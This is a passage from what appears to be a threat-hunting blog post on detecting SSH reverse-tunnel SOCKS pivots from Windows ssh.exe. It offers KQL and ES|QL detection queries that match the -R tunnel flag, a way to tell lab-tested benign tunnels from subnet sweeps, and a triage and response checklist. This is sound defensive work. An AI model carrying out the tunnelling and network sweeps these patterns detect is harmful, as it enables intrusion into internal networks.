src="https://substackcdn.com/image/fetch/$s_!8mN5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png" width="1224" height="641" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:641,&quot;width&quot;:1224,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:100515,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8mN5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 424w, https://substackcdn.com/image/fetch/$s_!8mN5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 848w, https://substackcdn.com/image/fetch/$s_!8mN5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 1272w, https://substackcdn.com/image/fetch/$s_!8mN5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>The aggregation: the cardinality and churn tell</h2><blockquote><p>Now collapse the session into one row and read its shape. This is the query that pulls benign apart from malicious.</p></blockquote><h3>KQL (MDE, DeviceNetworkEvents)</h3><pre><code><code>DeviceNetworkEvents
| where Timestamp &gt; ago(1h)
| where InitiatingProcessFileName =~ "ssh.exe"
| where InitiatingProcessCommandLine matches regex @"\s-\w*R"
| summarize
    DistinctRemoteIPs = dcount(RemoteIP),
    DistinctRemotePorts = dcount(RemotePort),
    Successes = countif(ActionType == "ConnectionSuccess"),
    Failures = countif(ActionType == "ConnectionFailed"),
    Window = max(Timestamp) - min(Timestamp)
    by DeviceName, InitiatingProcessCommandLine</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yCB6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yCB6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 424w, https://substackcdn.com/image/fetch/$s_!yCB6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 848w, https://substackcdn.com/image/fetch/$s_!yCB6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 1272w, https://substackcdn.com/image/fetch/$s_!yCB6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!yCB6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png" width="1456" height="620" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:620,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:175783,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yCB6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 424w, https://substackcdn.com/image/fetch/$s_!yCB6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 848w, https://substackcdn.com/image/fetch/$s_!yCB6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 1272w, https://substackcdn.com/image/fetch/$s_!yCB6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Three scenarios reproduced in the lab, all of them running <code>ssh.exe</code> from the same Windows host, so all three share a <code>DeviceName</code> and an <code>InitiatingProcessFileName</code>. They collapse into three rows:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hsC3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hsC3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 424w, https://substackcdn.com/image/fetch/$s_!hsC3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 848w, https://substackcdn.com/image/fetch/$s_!hsC3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 1272w, https://substackcdn.com/image/fetch/$s_!hsC3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!hsC3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png" width="1440" height="940" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:940,&quot;width&quot;:1440,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:105584,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hsC3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 424w, https://substackcdn.com/image/fetch/$s_!hsC3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 848w, https://substackcdn.com/image/fetch/$s_!hsC3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 1272w, https://substackcdn.com/image/fetch/$s_!hsC3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://securityinbits.substack.com/?utm_source=substack&amp;utm_medium=email&amp;utm_content=share&amp;action=share&quot;,&quot;text&quot;:&quot;Share Securityinbits&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://securityinbits.substack.com/?utm_source=substack&amp;utm_medium=email&amp;utm_content=share&amp;action=share"><span>Share Securityinbits</span></a></p><p></p><p>Row 1 is a fixed forward to a local service. One IP, one port, every connection succeeds. A forward has its destination baked in, so the shape is one steady line.</p><p>Row 2 is destination-less SOCKS, the same mechanism the attack uses, but here an operator points it at a handful of known services. Cardinality stays low, failures stay near zero, the pacing is human.</p><p>Row 3 is destination-less SOCKS aimed at sweeping the subnet. Many IPs, many ports, successes and failures churning together inside a tight window. The scanner never appears in the command line, but its footprint here is impossible to miss.</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iNev!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 424w, https://substackcdn.com/image/fetch/$s_!iNev!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 848w, https://substackcdn.com/image/fetch/$s_!iNev!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 1272w, https://substackcdn.com/image/fetch/$s_!iNev!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!iNev!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png" width="1456" height="213" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:213,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:73403,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!iNev!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 424w, https://substackcdn.com/image/fetch/$s_!iNev!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 848w, https://substackcdn.com/image/fetch/$s_!iNev!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 1272w, https://substackcdn.com/image/fetch/$s_!iNev!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div></div></div></div></figure></div><h3>The part most writeups miss</h3><blockquote><p>Row 1 and Row 2 are both benign, yet Row 2 is destination-less SOCKS, which is the exact mechanism the attack runs on. So the real discriminator was never &#8220;SOCKS or not SOCKS.&#8221; Benign SOCKS in Row 2 and the malicious sweep in Row 3 use the identical <code>-R</code> proxy. What pulls them apart is shape: Row 2 stays low-cardinality with almost no failures and operator pacing, while Row 3 sprays across many IPs and ports with success and failure churning in a tight window.</p></blockquote><p>&#8203;</p><blockquote><p>Here is the edge that earns the caveat. If a legitimate operator deliberately enumerates through the SOCKS proxy, say an authorized internal scan, the shape will look like the attack, and telemetry on its own cannot tell them apart. That is the precise point where reading the shape runs out.</p></blockquote><p>When it runs out, you fall back on authorization context. A change ticket, a recognized operator, an expected window. Not the proxy type, and not whether the target is internal, since a malicious sweep produces private RemoteIPs just the same. Cardinality and churn do most of the work; context settles the cases shape leaves tied.</p><h3>ES|QL (Elastic, Sysmon EID 1 + EID 3 correlated by ProcessGuid)</h3><pre><code><code>// SSH reverse-tunnel detection (Sysmon EID 1 + EID 3 correlated by ProcessGuid)
FROM logs-windows.sysmon_operational-default
| WHERE @timestamp &gt; NOW() - 1 hour
| WHERE event.code IN ("1", "3")
| WHERE process.name == "ssh.exe"
| EVAL is_tunnel_start = event.code == "1"
    // hyphen flag-cluster containing the -R (remote forward) flag: -R, -NR, -fNR, -fNTR ...
    AND process.command_line RLIKE """.*\s-[A-Za-z]*R.*"""
| STATS tunnel_starts        = COUNT(*) WHERE is_tunnel_start,
        DistinctRemoteIPs    = COUNT_DISTINCT(destination.ip),
        DistinctRemotePorts  = COUNT_DISTINCT(destination.port),
        NetworkConnections   = COUNT(*) WHERE event.code == "3",
        InitiatingProcessCommandLine = VALUES(process.command_line),
        first_seen = MIN(@timestamp),
        last_seen  = MAX(@timestamp)
        BY DeviceName = host.name, process.entity_id
| WHERE tunnel_starts &gt; 0
| EVAL Window = DATE_DIFF("minutes", first_seen, last_seen)
| KEEP DeviceName, InitiatingProcessCommandLine, DistinctRemoteIPs, DistinctRemotePorts,
       NetworkConnections, Window, first_seen, last_seen
| SORT DeviceName ASC
| LIMIT 1000</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_M_5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_M_5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 424w, https://substackcdn.com/image/fetch/$s_!_M_5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 848w, https://substackcdn.com/image/fetch/$s_!_M_5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 1272w, https://substackcdn.com/image/fetch/$s_!_M_5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!_M_5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png" width="1296" height="498" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:498,&quot;width&quot;:1296,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:78775,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_M_5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 424w, https://substackcdn.com/image/fetch/$s_!_M_5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 848w, https://substackcdn.com/image/fetch/$s_!_M_5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 1272w, https://substackcdn.com/image/fetch/$s_!_M_5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>One platform difference is worth stating outright. MDE&#8217;s <code>ActionType</code> splits <code>ConnectionSuccess</code> from <code>ConnectionFailed</code> natively, so a high failure count is a direct read on a scanner banging on closed ports.</p><p>Sysmon EID 3 has no success/fail field to match it. In Elastic you get the churn signal from distinct-destination cardinality and raw connection count instead. That is why the KQL aggregation counts failures while the ES|QL aggregation counts distinct destinations and total connections. Same intent, different field model.</p><p>Two limits to keep in view before you act on any of this:</p><ul><li><p>The correlation comes back empty when the tunnel is idle. The network signal needs activity to exist, which is the whole reason the process event is your trigger and the correlation is your confirmation once activity shows up.</p></li><li><p>IP reputation is enrichment, never proof. A workstation reverse-tunneling out to a consumer VPS ASN in another country bumps the priority. It does not settle the verdict. Cardinality, churn, and context still have to.</p></li></ul><div><hr></div><h1>5. From Hunt to Triage Decision</h1><p>One path you can repeat: process hit, then network correlation, then verdict, with a defined fallback.</p><ol><li><p>One stable <code>RemoteIP:RemotePort</code> and no failures points to a fixed forward (Row 1) or benign SOCKS to a known service (Row 2). Verify and write it up.</p></li><li><p>Many distinct RemoteIPs and RemotePorts with success/failure churn inside a tight window is a sweep (Row 3). True positive. Escalate.</p></li><li><p>Low cardinality through a destination-less SOCKS proxy you can&#8217;t tie to a known operator is ambiguous on telemetry alone. Settle it on authorization context, the change ticket, the recognized operator, the expected window, not on shape. This is the benign-SOCKS edge: the same mechanism the attack uses, separable only by context.</p></li></ol><p>Enrich the tunnel endpoint while you&#8217;re at it. A public external endpoint on an <code>ssh.exe -R</code> session is suspicious because legitimate admin reverse-forwarding usually terminates at a known bastion, a sanctioned jump host, or a documented vendor endpoint. Run the endpoint IP through ASN/hosting org and geolocation. Treat the result as priority, not proof, since attackers use reputable cloud and admins sometimes use a VPS legitimately.</p><p><strong>Response checklist once you&#8217;ve confirmed a pivot:</strong></p><ol><li><p>Isolate the compromised host.</p></li><li><p>Capture the SSH session details: full command line, user, parent process, start time.</p></li><li><p>Identify the remote C2 IP and port, and enrich with ASN and geolocation.</p></li><li><p>Hunt the pattern across the fleet, <code>ssh.exe</code> plus <code>-R</code> plus the cardinality and churn shape on every 